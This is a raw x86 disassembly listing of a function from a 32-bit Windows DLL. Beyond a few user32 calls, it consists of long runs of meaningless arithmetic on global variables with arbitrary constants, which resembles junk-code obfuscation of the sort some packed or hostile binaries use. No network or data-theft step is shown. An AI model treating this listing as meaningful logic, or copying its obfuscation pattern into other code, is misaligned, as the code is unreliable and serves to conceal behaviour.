call dword [sym.imp.USER32.dll_GetDoubleClickTime]
mov word [ebp - 0x34], ax
mov eax, dword [0x100cdb38]
mov dword [ebp - 0xc8], eax
movzx ecx, word [ebp - 0x1c]
push ecx
call dword [sym.imp.USER32.dll_IsZoomed]
mov word [ebp - 0x1c], ax
movzx edx, word [ebp - 0x1c]
test edx, edx
je 0x1003a96b
movzx eax, word [ebp - 0x18]
cdq
mov ecx, dword [ebp - 0x68]
mov esi, dword [ebp - 0x64]
mov dword [ebp - 0x710], ecx
mov dword [ebp - 0x70c], esi
mov dword [ebp - 0x718], eax
mov dword [ebp - 0x714], edx
mov edx, dword [ebp - 0x70c]
cmp edx, dword [ebp - 0x714]
jl 0x1003a8bd
jg 0x1003a8b1
mov eax, dword [ebp - 0x710]
cmp eax, dword [ebp - 0x718]
jb 0x1003a8bd
mov dword [ebp - 0x158], 1
jmp 0x1003a8c7
mov dword [ebp - 0x158], 0
mov ecx, dword [ebp - 0x68]
mov edx, dword [ebp - 0x64]
mov dword [ebp - 0x720], ecx
mov dword [ebp - 0x71c], edx
cmp dword [ebp - 0x71c], 0
jl 0x1003a8f9
jg 0x1003a8ed
cmp dword [ebp - 0x720], 0x45
jb 0x1003a8f9
mov dword [ebp - 0x15c], 1
jmp 0x1003a903
mov dword [ebp - 0x15c], 0
mov eax, dword [ebp - 0x158]
cmp eax, dword [ebp - 0x15c]
jle 0x1003a966
xor ecx, ecx
mov dword [ebp - 0x68], 1
mov dword [ebp - 0x64], ecx
movsx edx, byte [0x100cd026]
xor edx, 0x3ac37e10
mov dword [0x100cd0a8], edx
mov ecx, dword [0x100cd0f0]
add ecx, 0x1353b2f9
movzx eax, byte [ebp - 0x12]
cdq
sub eax, ecx
mov byte [ebp - 0x12], al
mov dword [ebp - 0x44], 0xdc19c547
movzx edx, byte [ebp - 0x13]
add edx, 0x5e501c92
mov dword [ebp - 0x44], edx
movsx eax, word [ebp - 0x34]
and eax, 0xa596
mov byte [ebp - 0x11], al
jmp 0x1003a9f9
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x38]
mov dword [ebp - 0x7b4], edx
movsx eax, word [0x100cd108]
cdq
add eax, ecx
mov word [0x100cd108], ax
movzx eax, word [ebp - 0x28]
imul ecx, eax, 0xee2e
movzx edx, byte [ebp - 0x12]
or edx, ecx
mov byte [ebp - 0x12], dl
movsx eax, byte [0x100cd06f]
not eax
mov dword [ebp - 0x5c], eax
movzx ecx, byte [0x100cd07f]
test ecx, ecx
je 0x1003a9c0
movsx edx, word [0x100cd0d8]
mov dword [ebp - 0x160], edx
jmp 0x1003a9cd
movzx eax, word [0x100cd10c]
mov dword [ebp - 0x160], eax
mov eax, dword [ebp - 0x160]
cdq
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], edx
movzx ecx, word [0x100cd10c]
imul ecx, dword [0x100cd0e0]
movsx edx, word [0x100cd0dc]
imul edx, ecx
mov word [0x100cd0dc], dx
mov eax, dword [ebp - 0xc8]
add eax, 0x294
mov dword [ebp - 0x200], eax
mov dword [0x100cd0e0], 0
mov dword [0x100cd0a8], 0xd0da01dd
movzx ecx, word [ebp - 0x30]
test ecx, ecx
jne 0x1003aa3a
xor edx, edx
mov dword [ebp - 0x484], 1
mov dword [ebp - 0x480], edx
jmp 0x1003aa45
xorps xmm0, xmm0
movlpd qword [ebp - 0x484], xmm0
xor eax, eax
mov ecx, dword [0x100cd088]
mov edx, dword [0x100cd08c]
sub ecx, dword [0x100cd0e0]
sbb edx, eax
mov dword [ebp - 0x728], ecx
mov dword [ebp - 0x724], edx
mov eax, dword [ebp - 0x728]
or eax, dword [ebp - 0x724]
jne 0x1003aa89
xor ecx, ecx
mov dword [ebp - 0x48c], 1
mov dword [ebp - 0x488], ecx
jmp 0x1003aa94
xorps xmm0, xmm0
movlpd qword [ebp - 0x48c], xmm0
movzx eax, word [ebp - 0x28]
cdq
add eax, dword [ebp - 0x54]
adc edx, dword [ebp - 0x50]
movzx ecx, byte [ebp - 0x12]
mov esi, dword [0x100cd0f0]
add esi, ecx
xor ecx, ecx
add esi, eax
adc ecx, edx
mov edx, dword [0x100cd118]
add edx, dword [ebp - 0x484]
mov eax, dword [0x100cd11c]
adc eax, dword [ebp - 0x480]
add edx, dword [ebp - 0x48c]
adc eax, dword [ebp - 0x488]
sub edx, esi
sbb eax, ecx
mov dword [ebp - 0x730], edx
mov dword [ebp - 0x72c], eax
mov ecx, dword [ebp - 0x730]
or ecx, dword [ebp - 0x72c]
jne 0x1003aafb
mov byte [ebp - 0x81], 1
jmp 0x1003ab02
mov byte [ebp - 0x81], 0
mov dl, byte [ebp - 0x81]
mov byte [ebp - 0x14], dl
mov ecx, dword [0x100cd0b0]
not ecx
mov esi, dword [0x100cd0b4]
not esi
mov eax, dword [ebp - 0x58]
cdq
push esi
push ecx
push edx
push eax
call fcn.10099890
mov esi, eax
mov edi, edx
movsx eax, word [0x100cd0dc]
cdq
mov ecx, dword [ebp - 0x6c]
push ecx
mov ecx, dword [ebp - 0x70]
push ecx
push edx
push eax
call fcn.10099890
push edi
push esi
push edx
push eax
call fcn.10099890
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], edx
movsx edx, word [0x100cd0dc]
movzx eax, word [ebp - 0x30]
imul eax, edx
mov word [ebp - 0x30], ax
movsx eax, word [ebp - 0x34]
add eax, 0x3347
cdq
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], edx
mov ecx, dword [0x100cd0e0]
mov dword [ebp - 0x68c], ecx
cmp dword [ebp - 0x68c], 0
je 0x1003ab8e
jmp 0x1003ac36
movsx edx, word [ebp - 0x34]
mov eax, dword [0x100cd104]
add eax, edx
mov ecx, dword [0x100cd104]
or ecx, eax
mov dword [0x100cd104], ecx
mov eax, dword [ebp - 0x58]
cdq
mov ecx, dword [0x100cd088]
mov esi, dword [0x100cd08c]
xor ecx, eax
xor esi, edx
mov dword [ebp - 0x78], ecx
mov dword [ebp - 0x74], esi
mov edx, dword [0x100cdb38]
xor eax, eax
mov dword [ebp - 0x68], edx
mov dword [ebp - 0x64], eax
mov ecx, dword [0x100cd0d0]
or ecx, dword [0x100cd0d4]
je 0x1003abf6
mov edx, dword [0x100cd0d0]
mov eax, dword [0x100cd0d4]
mov dword [ebp - 0x494], edx
mov dword [ebp - 0x490], eax
jmp 0x1003ac0a
movsx eax, byte [str.6BlockUpgradeIfDriv]
cdq
mov dword [ebp - 0x494], eax
mov dword [ebp - 0x490], edx
mov cx, word [ebp - 0x494]
mov word [0x100cd108], cx
imul edx, dword [0x100cd0a8], 0xc2
mov dword [ebp - 0x48], edx
mov eax, dword [0x100cd0c8]
cdq
sub eax, dword [0x100cd0a0]
mov dword [0x100cd0c8], eax
mov eax, dword [ebp - 0xc8]
add eax, 0xd6
mov dword [ebp - 0xac], eax
mov dword [0x100cd0c8], 4
movzx ecx, byte [0x100cd082]
movzx eax, word [0x100cd10c]
xor eax, ecx
not eax
cdq
mov ecx, dword [0x100cd0a8]
xor esi, esi
xor ecx, dword [0x100cd0d0]
xor esi, dword [0x100cd0d4]
push edx
push eax
push esi
push ecx
call fcn.10099890
mov ecx, dword [0x100cd090]
xor esi, esi
push edx
push eax
push esi
push ecx
call fcn.10099890
mov dword [ebp - 0x44], eax
mov byte [ebp - 0x12], 7
movsx eax, word [0x100cd098]
add eax, 0xa8b
cdq
mov dword [0x100cd118], eax
mov dword [0x100cd11c], edx
movzx edx, word [ebp - 0x24]
sub edx, 0xc7
mov byte [ebp - 0x13], dl
movzx eax, byte [0x100cd027]
xor eax, dword [0x100cd0a8]
movzx ecx, byte [0x100cd027]
or ecx, eax
mov byte [0x100cd027], cl
mov edx, dword [0x100cd0c8]
mov dword [ebp - 0x164], edx
cmp dword [ebp - 0x164], 4
ja case.default.0x1003acf9
mov eax, dword [ebp - 0x164]
jmp dword [eax*4 + 0x100423f8]
movzx ecx, byte [ebp - 0x13]
add ecx, 0x52
mov byte [0x100cd096], cl
mov edx, dword [ebp - 0x58]
add edx, 1
mov dword [ebp - 0x58], edx
movsx eax, byte [str.6BlockUpgradeIfDriv]
test eax, eax
jne 0x1003ad2d
mov dword [ebp - 0x168], 1
jmp 0x1003ad37
mov dword [ebp - 0x168], 0
movsx ecx, byte [0x100cd047]
test ecx, ecx
jne 0x1003ad4e
mov dword [ebp - 0x16c], 1
jmp 0x1003ad58
mov dword [ebp - 0x16c], 0
mov edx, dword [ebp - 0x168]
sub edx, dword [ebp - 0x16c]
imul edx, dword [ebp - 0x40]
mov dword [ebp - 0x48], edx
movsx eax, word [0x100cd098]
mov ecx, 4
imul edx, ecx, 0x1c
mov dword [edx + 0x1023d5a0], eax
movsx eax, word [ebp - 0x20]
cdq
mov ecx, eax
sub ecx, dword [0x100cd0d0]
movsx eax, word [ebp - 0x20]
cdq
sub eax, ecx
mov word [ebp - 0x20], ax
imul eax, dword [ebp - 0x58], 0x4debc177
cdq
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x6c], edx
jmp case.default.0x1003acf9
mov edx, 1
mov word [ebp - 0x1c], dx
movzx eax, byte [ebp - 0x14]
mov ecx, dword [ebp - 0x58]
sub ecx, eax
mov dword [ebp - 0x58], ecx
mov dword [ebp - 0x60], 0x6737
movzx eax, word [ebp - 0x30]
cdq
push 0xf4a98
push 0x779c929
push edx
push eax
call fcn.10099890
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x6c], edx
mov dx, word [ebp - 0x1c]
mov word [0x100cd0d8], dx
jmp case.default.0x1003acf9
movsx eax, word [ebp - 0x34]
cdq
mov ecx, dword [0x100cd0d4]
push ecx
mov ecx, dword [0x100cd0d0]
push ecx
push edx
push eax
call fcn.10099890
movsx ecx, byte [ebp - 0x11]
mov esi, dword [0x100cd0e4]
add esi, ecx
xor ecx, ecx
push edx
push eax
push ecx
push esi
call fcn.10099890
mov byte [0x100cd07f], al
movsx edx, byte [0x100cd047]
add edx, dword [0x100cd0a8]
mov byte [0x100cd047], dl
mov eax, dword [ebp - 0x4c]
cdq
push 0x7f47d
push 0x587df4ef
push edx
push eax
call fcn.10099890
mov byte [ebp - 0x14], al
mov al, byte [0x100cd06e]
sub al, 1
mov byte [0x100cd06e], al
mov ecx, dword [0x100cd0a0]
mov dword [ebp - 0x40], ecx
jmp case.default.0x1003acf9
mov edx, dword [ebp - 0x44]
mov word [ebp - 0x18], dx
movzx eax, word [ebp - 0x24]
cdq
add eax, 0x7f05eea3
adc edx, 0x79d24
mov dword [0x100cd0d0], eax
mov dword [0x100cd0d4], edx
mov eax, dword [0x100cdb38]
mov dword [ebp - 0x48], eax
mov ecx, dword [ebp - 0x78]
add ecx, 0xf47d4b3b
movsx eax, byte [ebp - 0x11]
cdq
and eax, ecx
mov byte [ebp - 0x11], al
mov edx, dword [0x100cdb38]
mov dword [0x100cd0a8], edx
jmp case.default.0x1003acf9
movzx eax, word [ebp - 0x18]
mov ecx, dword [0x100cd0f0]
sub ecx, eax
movzx edx, byte [0x100cd027]
movsx eax, byte [ebp - 0x11]
mov esi, dword [0x100cd0c8]
xor esi, eax
lea edx, [esi + edx - 0x176c01fd]
imul edx, ecx
xor eax, eax
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x38], eax
movsx ecx, byte [0x100cd096]
add ecx, 0x48c8d5b6
mov word [ebp - 0x30], cx
mov edx, dword [ebp - 0x70]
or edx, dword [ebp - 0x6c]
jne 0x1003af1a
xor eax, eax
mov dword [ebp - 0x738], 1
mov dword [ebp - 0x734], eax
jmp 0x1003af25
xorps xmm0, xmm0
movlpd qword [ebp - 0x738], xmm0
mov ecx, dword [ebp - 0x738]
add ecx, dword [ebp - 0x54]
movsx edx, word [0x100cd0d8]
and edx, dword [ebp - 0x44]
xor edx, ecx
mov word [ebp - 0x2c], dx
movzx eax, word [0x100cd10c]
mov ecx, dword [0x100cd100]
add ecx, eax
mov edx, dword [0x100cd100]
sub edx, ecx
mov dword [0x100cd100], edx
mov eax, dword [ebp - 0xc8]
add eax, 0x19
mov dword [ebp - 0x4f8], eax
mov ecx, dword [0x100cd088]
mov edx, dword [0x100cd08c]
mov dword [ebp - 0x7b8], edx
mov eax, dword [ebp - 0x4c]
cdq
sub eax, ecx
mov dword [ebp - 0x4c], eax
movsx eax, word [0x100cd0dc]
cdq
push edx
push eax
mov eax, dword [ebp - 0x50]
push eax
mov ecx, dword [ebp - 0x54]
push ecx
call fcn.10099890
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], edx
mov edx, dword [0x100cd118]
add edx, 0xc74
mov dword [ebp - 0x4c], edx
mov eax, dword [ebp - 0x44]
mov ecx, dword [0x100cd0c0]
mov edx, dword [0x100cd0c4]
mov dword [ebp - 0x7bc], edx
add ecx, eax
mov word [ebp - 0x24], cx
mov eax, dword [0x100cd118]
mov edx, dword [0x100cd11c]
mov cl, 1
call fcn.100998d0
mov dword [0x100cd0a8], eax
mov eax, dword [0x100cdb38]
mov dword [ebp - 0xcc], eax
xorps xmm0, xmm0
movlpd qword [ebp - 0x70], xmm0
movzx ecx, word [0x100cd10c]
imul edx, ecx, 0xfd94f931
xor eax, eax
mov dword [0x100cd088], edx
mov dword [0x100cd08c], eax
mov eax, dword [ebp - 0x5c]
cdq
sub eax, 0xef6c5e78
mov byte [0x100cd06e], al
movzx eax, word [0x100cd094]
cdq
sub eax, 0xce8eb3de
sbb edx, 0x43bd7
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], edx
movzx eax, word [0x100cd0b8]
cdq
add eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x44]
imul ecx, dword [0x100cd104]
not ecx
and ecx, eax
mov word [0x100cd0e8], cx
movsx edx, word [ebp - 0x20]
sar edx, 8
mov dword [ebp - 0x5c], edx
mov eax, dword [ebp - 0x70]
mov ecx, dword [ebp - 0x6c]
mov dword [ebp - 0x740], eax
mov dword [ebp - 0x73c], ecx
mov edx, dword [ebp - 0x740]
or edx, dword [ebp - 0x73c]
je 0x1003b086
jmp 0x1003b13e
movzx eax, word [0x100cd10c]
add eax, 0xa7b0
mov byte [ebp - 0x14], al
mov ecx, 1
imul edx, ecx, 0x62
movzx ax, byte [edx + 0x1029ca10]
mov word [0x100cd10c], ax
mov eax, dword [0x100cd0d0]
mov edx, dword [0x100cd0d4]
mov cl, 4
call fcn.100998f0
mov word [0x100cd0e8], ax
mov ecx, dword [0x100cd088]
mov edx, dword [0x100cd08c]
mov dword [ebp - 0x748], ecx
mov dword [ebp - 0x744], edx
mov eax, dword [ebp - 0x748]
or eax, dword [ebp - 0x744]
je 0x1003b0fc
mov ecx, dword [ebp - 0x48]
xor edx, edx
mov dword [ebp - 0x49c], ecx
mov dword [ebp - 0x498], edx
jmp 0x1003b10e
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x50]
mov dword [ebp - 0x49c], eax
mov dword [ebp - 0x498], ecx
mov edx, dword [ebp - 0x49c]
mov dword [ebp - 0x48], edx
movsx eax, word [0x100cd0e8]
cdq
push edx
push eax
mov eax, dword [0x100cd0a4]
push eax
mov ecx, dword [0x100cd0a0]
push ecx
call fcn.10099890
mov dword [0x100cd0a0], eax
mov dword [0x100cd0a4], edx
mov edx, dword [ebp - 0xcc]
add edx, 0x2be
mov dword [ebp - 0x524], edx
jmp 0x1003b163
jmp 0x1003b179
mov eax, dword [ebp - 0xcc]
add eax, 0x119
mov dword [ebp - 0xa4], eax
movzx ecx, byte [ebp - 0x12]
movzx eax, byte [0x100cd06e]
add eax, ecx
cdq
mov ecx, dword [ebp - 0x64]
mov esi, dword [ebp - 0x3c]
mov edi, dword [ebp - 0x38]
sub esi, dword [ebp - 0x68]
sbb edi, ecx
push edx
push eax
push edi
push esi
call fcn.10099890
mov word [0x100cd10c], ax
mov edx, dword [ebp - 0x40]
add edx, 0xab
mov dword [ebp - 0x4c], edx
imul eax, dword [0x100cd100], 0xa501
cdq
mov dword [0x100cd0c0], eax
mov dword [0x100cd0c4], edx
mov byte [0x100cd07f], 0xaa
mov eax, 2
mov word [0x100cd0ec], ax
movsx ecx, word [ebp - 0x20]
imul edx, ecx, 0x3572
mov dword [ebp - 0x5c], edx
mov eax, dword [ebp - 0xcc]
add eax, 0x19a
mov dword [ebp - 0x528], eax
mov ecx, dword [ebp - 0x58]
sar ecx, 3
mov word [ebp - 0x34], cx
movzx edx, byte [ebp - 0x14]
movzx eax, word [ebp - 0x24]
add eax, edx
movzx ecx, word [ebp - 0x24]
add ecx, eax
mov word [ebp - 0x24], cx
movsx edx, word [ebp - 0x2c]
movsx eax, byte [0x100cd06f]
add eax, edx
mov byte [0x100cd06f], al
movsx ecx, word [0x100cd0ec]
mov edx, dword [0x100cd090]
xor edx, dword [ebp - 0x48]
lea eax, [edx + ecx + 0x273eecdc]
test eax, eax
jne 0x1003b25b
mov byte [ebp - 0x82], 1
jmp 0x1003b262
mov byte [ebp - 0x82], 0
mov cl, byte [ebp - 0x82]
mov byte [0x100cd082], cl
mov edx, dword [0x100cdb38]
mov dword [ebp - 0xd8], edx
movzx eax, byte [ebp - 0x12]
test eax, eax
jne 0x1003b28e
mov dword [ebp - 0x170], 1
jmp 0x1003b298
mov dword [ebp - 0x170], 0
movsx ecx, word [0x100cd0d8]
cmp dword [ebp - 0x170], ecx
jl 0x1003b2b3
mov dword [ebp - 0x174], 1
jmp 0x1003b2bd
mov dword [ebp - 0x174], 0
mov edx, dword [0x100cd0f0]
cmp dword [ebp - 0x174], edx
jb 0x1003b40a
mov eax, dword [ebp - 0x44]
add eax, dword [0x100cd0f0]
not eax
mov ecx, dword [0x100cd104]
not ecx
movsx esi, byte [0x100cd026]
add esi, ecx
sub esi, eax
movzx edx, byte [0x100cd027]
movzx eax, word [ebp - 0x30]
imul eax, edx
cdq
push edx
push eax
mov eax, dword [ebp - 0x50]
push eax
mov ecx, dword [ebp - 0x54]
push ecx
call fcn.10099890
and eax, esi
mov dword [0x100cd0ac], eax
movzx eax, byte [0x100cd027]
add eax, 0x7f688585
cdq
mov ecx, eax
mov esi, edx
movzx eax, word [ebp - 0x1c]
cdq
sub eax, dword [0x100cd0b0]
sbb edx, dword [0x100cd0b4]
sub eax, ecx
sbb edx, esi
mov dword [ebp - 0x750], eax
mov dword [ebp - 0x74c], edx
mov edx, dword [ebp - 0x750]
or edx, dword [ebp - 0x74c]
jne 0x1003b366
xor eax, eax
mov dword [ebp - 0x758], 1
mov dword [ebp - 0x754], eax
jmp 0x1003b371
xorps xmm0, xmm0
movlpd qword [ebp - 0x758], xmm0
movzx ecx, byte [0x100cd07f]
imul ecx, dword [ebp - 0x60]
not ecx
mov edx, dword [0x100cd0b0]
not edx
sub edx, ecx
add edx, dword [ebp - 0x758]
mov byte [ebp - 0x12], dl
movsx eax, byte [str.6BlockUpgradeIfDriv]
imul eax, dword [0x100cd0e4]
mov byte [str.6BlockUpgradeIfDriv], al
mov ecx, dword [0x100cd0c0]
mov edx, dword [0x100cd0c4]
mov dword [ebp - 0x7c0], edx
mov eax, 2
imul edx, eax, 0x15
mov word [edx + 0x10118540], cx
movzx eax, byte [ebp - 0x12]
sub eax, 0x37
mov ecx, dword [0x100cd100]
or ecx, eax
mov dword [0x100cd100], ecx
cmp dword [0x100cd0f0], 0
je 0x1003b3f1
mov edx, dword [0x100cd084]
mov dword [ebp - 0x178], edx
jmp 0x1003b3fe
movzx eax, word [0x100cd094]
mov dword [ebp - 0x178], eax
mov ecx, dword [ebp - 0x178]
mov dword [0x100cd084], ecx
mov edx, dword [ebp - 0xd8]
add edx, 0x21e
mov dword [ebp - 0x3a4], edx
mov eax, dword [0x100cd118]
or eax, dword [0x100cd11c]
je 0x1003b685
movsx ecx, word [0x100cd0ec]
movzx edx, word [ebp - 0x30]
cmp edx, ecx
jl 0x1003b448
mov dword [ebp - 0x17c], 1
jmp 0x1003b452
mov dword [ebp - 0x17c], 0
movzx eax, word [ebp - 0x30]
cmp eax, 0xf
jl 0x1003b467
mov dword [ebp - 0x180], 1
jmp 0x1003b471
mov dword [ebp - 0x180], 0
mov ecx, dword [ebp - 0x17c]
cmp ecx, dword [ebp - 0x180]
jne 0x1003b628
mov dword [ebp - 0xd0], 0
jmp 0x1003b49e
mov edx, dword [ebp - 0xd0]
add edx, 1
mov dword [ebp - 0xd0], edx
cmp dword [ebp - 0xd0], 7
jge 0x1003b626
mov byte [ebp - 0x11], 0
mov eax, 0xea
mov word [0x100cd0ec], ax
movzx ecx, word [ebp - 0x28]
test ecx, ecx
je 0x1003b4ce
movzx edx, byte [ebp - 0x13]
mov dword [ebp - 0x184], edx
jmp 0x1003b4d7
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x184], eax
mov cx, word [ebp - 0x184]
mov word [0x100cd0e8], cx
imul edx, dword [ebp - 0x40], 0x5ef8
mov dword [0x100cd0a8], edx
movsx eax, word [ebp - 0x20]
movzx ecx, word [ebp - 0x30]
sub ecx, eax
mov eax, ecx
cdq
xor eax, dword [ebp - 0x78]
not eax
mov dword [0x100cd0e0], eax
movzx eax, word [0x100cd094]
cdq
push edx
push eax
mov edx, dword [0x100cd0fc]
push edx
mov eax, dword [0x100cd0f8]
push eax
call fcn.10099890
mov dword [0x100cd0f8], eax
mov dword [0x100cd0fc], edx
mov cl, byte [ebp - 0x11]
mov byte [ebp - 0x690], cl
cmp byte [ebp - 0x690], 0
je 0x1003b547
jmp 0x1003b614
movsx edx, byte [0x100cd026]
mov eax, dword [0x100cd084]
sub eax, edx
mov ecx, dword [ebp - 0x54]
sub ecx, eax
mov word [0x100cd10c], cx
movsx eax, word [0x100cd110]
cdq
mov ecx, eax
sub ecx, dword [0x100cd118]
movsx eax, word [0x100cd110]
cdq
add eax, ecx
mov word [0x100cd110], ax
push 0
push 0x83c4
mov edx, dword [ebp - 0x50]
push edx
mov eax, dword [ebp - 0x54]
push eax
call fcn.10099890
mov dword [0x100cd0d0], eax
mov dword [0x100cd0d4], edx
cmp dword [ebp - 0x44], 0
jne 0x1003b5b2
mov dword [ebp - 0x188], 1
jmp 0x1003b5bc
mov dword [ebp - 0x188], 0
movzx ecx, word [0x100cd0b8]
sub ecx, dword [ebp - 0x188]
jne 0x1003b5d7
mov dword [ebp - 0x18c], 1
jmp 0x1003b5e1
mov dword [ebp - 0x18c], 0
movzx edx, byte [ebp - 0x12]
add edx, dword [0x100cd090]
xor edx, dword [ebp - 0x18c]
mov word [0x100cd0ec], dx
movzx eax, word [ebp - 0x18]
mov ecx, 4
imul edx, ecx, 0x78b9
mov dword [edx + 0x102d2a00], eax
mov dword [ebp - 0x60], 0x69
mov eax, dword [0x100cd100]
add eax, 1
mov dword [0x100cd100], eax
jmp 0x1003b48f
jmp 0x1003b680
mov dword [ebp - 0x44], 0xffa8
movsx eax, word [ebp - 0x20]
cdq
push 0x8799a
push 0x92734c8d
push edx
push eax
call fcn.10099890
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], edx
movsx eax, byte [0x100cd06f]
xor eax, 0x67de
cdq
add eax, dword [ebp - 0x80]
adc edx, dword [ebp - 0x7c]
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], edx
movsx ecx, word [ebp - 0x2c]
imul edx, ecx, 0x9e
mov dword [ebp - 0x40], edx
movsx eax, word [0x100cd108]
mov ecx, dword [ebp - 0x44]
xor ecx, eax
mov dword [ebp - 0x44], ecx
jmp 0x1003b7c0
mov edx, 0xffffff38
test edx, edx
je 0x1003b728
movsx eax, byte [0x100cd026]
mov ecx, dword [ebp - 0x4c]
not ecx
add ecx, eax
movsx edx, word [0x100cd108]
sub edx, ecx
imul edx, dword [0x100cd084]
mov byte [0x100cd06e], dl
mov eax, dword [0x100cd0f0]
imul eax, dword [0x100cd104]
mov ecx, dword [0x100cd0f0]
add ecx, eax
mov dword [0x100cd0f0], ecx
mov edx, dword [ebp - 0x54]
add edx, 0x5299
mov eax, dword [ebp - 0x50]
adc eax, 0
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x38], eax
movzx ecx, word [ebp - 0x18]
movsx edx, word [0x100cd110]
imul edx, ecx
movsx eax, word [0x100cd110]
add eax, edx
mov word [0x100cd110], ax
movsx ecx, word [0x100cd0ec]
and ecx, 0xa840
mov word [ebp - 0x18], cx
mov edx, dword [0x100cd118]
add edx, 0x54e8a9c
mov word [ebp - 0x18], dx
jmp 0x1003b7c0
mov eax, dword [0x100cd104]
cdq
mov dword [ebp - 0x760], eax
mov dword [ebp - 0x75c], edx
cmp dword [ebp - 0x75c], 0x8be0b
jl 0x1003b7c0
jg 0x1003b754
cmp dword [ebp - 0x760], 0xe33cc669
jb 0x1003b7c0
mov eax, dword [0x100cd0c8]
cdq
mov ecx, dword [0x100cd0b0]
sub ecx, eax
mov eax, dword [0x100cd0b4]
sbb eax, edx
push eax
push ecx
mov ecx, dword [0x100cd0b4]
push ecx
mov edx, dword [0x100cd0b0]
push edx
call fcn.10099890
mov dword [0x100cd0b0], eax
mov dword [0x100cd0b4], edx
movsx eax, byte [0x100cd096]
movzx ecx, word [ebp - 0x18]
add ecx, eax
movzx edx, word [ebp - 0x18]
add edx, ecx
mov word [ebp - 0x18], dx
mov al, byte [0x100cdb38]
mov byte [ebp - 0x11], al
mov cx, word [ebp - 0x24]
mov word [ebp - 0x24], cx
mov edx, dword [0x100cd0a8]
sub edx, 0x3fb528fb
mov word [ebp - 0x28], dx
mov eax, dword [ebp - 0xd8]
add eax, 0x3ab
mov dword [ebp - 0x7c4], eax
movzx ecx, word [ebp - 0x18]
cmp ecx, dword [0x100cd0f0]
jbe 0x1003b7e9
mov dword [ebp - 0x190], 1
jmp 0x1003b7f3
mov dword [ebp - 0x190], 0
movzx edx, word [ebp - 0x18]
cmp edx, 0x2f
jle 0x1003b808
mov dword [ebp - 0x194], 1
jmp 0x1003b812
mov dword [ebp - 0x194], 0
mov eax, dword [ebp - 0x190]
cmp eax, dword [ebp - 0x194]
jl 0x1003baca
mov byte [ebp - 0x13], 2
movsx ecx, byte [ebp - 0x11]
mov edx, dword [0x100cd0ac]
not edx
imul edx, ecx
movzx eax, word [ebp - 0x30]
movzx ecx, word [0x100cd0b8]
add ecx, eax
not ecx
add ecx, edx
jne 0x1003b85e
xor edx, edx
mov dword [ebp - 0x768], 1
mov dword [ebp - 0x764], edx
jmp 0x1003b869
xorps xmm0, xmm0
movlpd qword [ebp - 0x768], xmm0
mov eax, dword [0x100cd104]
cdq
mov ecx, eax
movzx eax, word [ebp - 0x1c]
cdq
mov edx, dword [ebp - 0x3c]
mov esi, dword [ebp - 0x38]
mov dword [ebp - 0x7c8], esi
sub edx, eax
not edx
add edx, ecx
add edx, dword [ebp - 0x768]
mov dword [ebp - 0x60], edx
movsx eax, byte [ebp - 0x11]
imul ecx, eax, 0x74
movzx edx, word [ebp - 0x30]
add edx, ecx
mov word [ebp - 0x30], dx
movzx eax, byte [0x100cd06e]
sub eax, dword [0x100cd0e4]
movzx ecx, byte [0x100cd06e]
add ecx, eax
mov byte [0x100cd06e], cl
movzx eax, word [ebp - 0x18]
cdq
push 0x509ca
push 0x7a5bedfa
push edx
push eax
call fcn.10099890
mov dword [0x100cd088], eax
mov dword [0x100cd08c], edx
movzx edx, word [0x100cd10c]
and edx, 0xff38
mov word [0x100cd0e8], dx
movzx eax, word [0x100cd0b8]
test eax, eax
jne 0x1003b912
xor ecx, ecx
mov dword [ebp - 0x770], 1
mov dword [ebp - 0x76c], ecx
jmp 0x1003b91d
xorps xmm0, xmm0
movlpd qword [ebp - 0x770], xmm0
movzx eax, word [ebp - 0x30]
cdq
sub eax, dword [ebp - 0x54]
add eax, dword [ebp - 0x770]
mov dword [ebp - 0x44], eax
mov dl, byte [ebp - 0x13]
mov byte [ebp - 0xd4], dl
cmp byte [ebp - 0xd4], 0
je 0x1003b95f
cmp byte [ebp - 0xd4], 1
je 0x1003b9ef
cmp byte [ebp - 0xd4], 2
je 0x1003ba74
jmp 0x1003bac8
movsx eax, word [0x100cd108]
add eax, 0xf5cc
movsx ecx, word [0x100cd0ec]
imul edx, ecx, 0xcbbb
not edx
xor edx, eax
mov word [0x100cd110], dx
mov eax, dword [0x100cd0e0]
sub eax, 0x78
mov dword [ebp - 0x44], eax
movzx ecx, byte [ebp - 0x12]
add ecx, 0x750bc0e6
mov edx, dword [ebp - 0x5c]
sub edx, ecx
mov dword [ebp - 0x5c], edx
mov eax, dword [0x100cdb38]
mov dword [ebp - 0x44], eax
mov ecx, dword [0x100cd0d0]
or ecx, dword [0x100cd0d4]
je 0x1003b9cf
mov edx, dword [0x100cd0f8]
mov eax, dword [0x100cd0fc]
mov dword [ebp - 0x4ac], edx
mov dword [ebp - 0x4a8], eax
jmp 0x1003b9e1
mov eax, dword [0x100cd104]
cdq
mov dword [ebp - 0x4ac], eax
mov dword [ebp - 0x4a8], edx
mov ecx, dword [ebp - 0x4ac]
mov dword [ebp - 0x48], ecx
jmp 0x1003bac8
movzx eax, byte [0x100cd06e]
cdq
sub eax, 0xae2e54f
mov edx, dword [0x100cd0a8]
add edx, eax
mov dword [0x100cd0a8], edx
movzx eax, word [ebp - 0x30]
imul eax, dword [ebp - 0x4c]
mov word [ebp - 0x18], ax
movsx ecx, byte [0x100cd083]
shl ecx, 7
mov byte [0x100cd096], cl
mov edx, 8
imul eax, edx, 0x731e
mov ecx, dword [eax + 0x100cdb40]
mov edx, dword [eax + 0x100cdb44]
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x38], edx
movzx eax, word [0x100cd094]
add eax, 0x7267217c
movsx ecx, word [0x100cd110]
xor ecx, eax
mov word [0x100cd110], cx
movzx edx, word [0x100cd10c]
sub edx, 0x122e52fb
mov dword [0x100cd090], edx
jmp 0x1003bac8
mov al, byte [0x100cdb38]
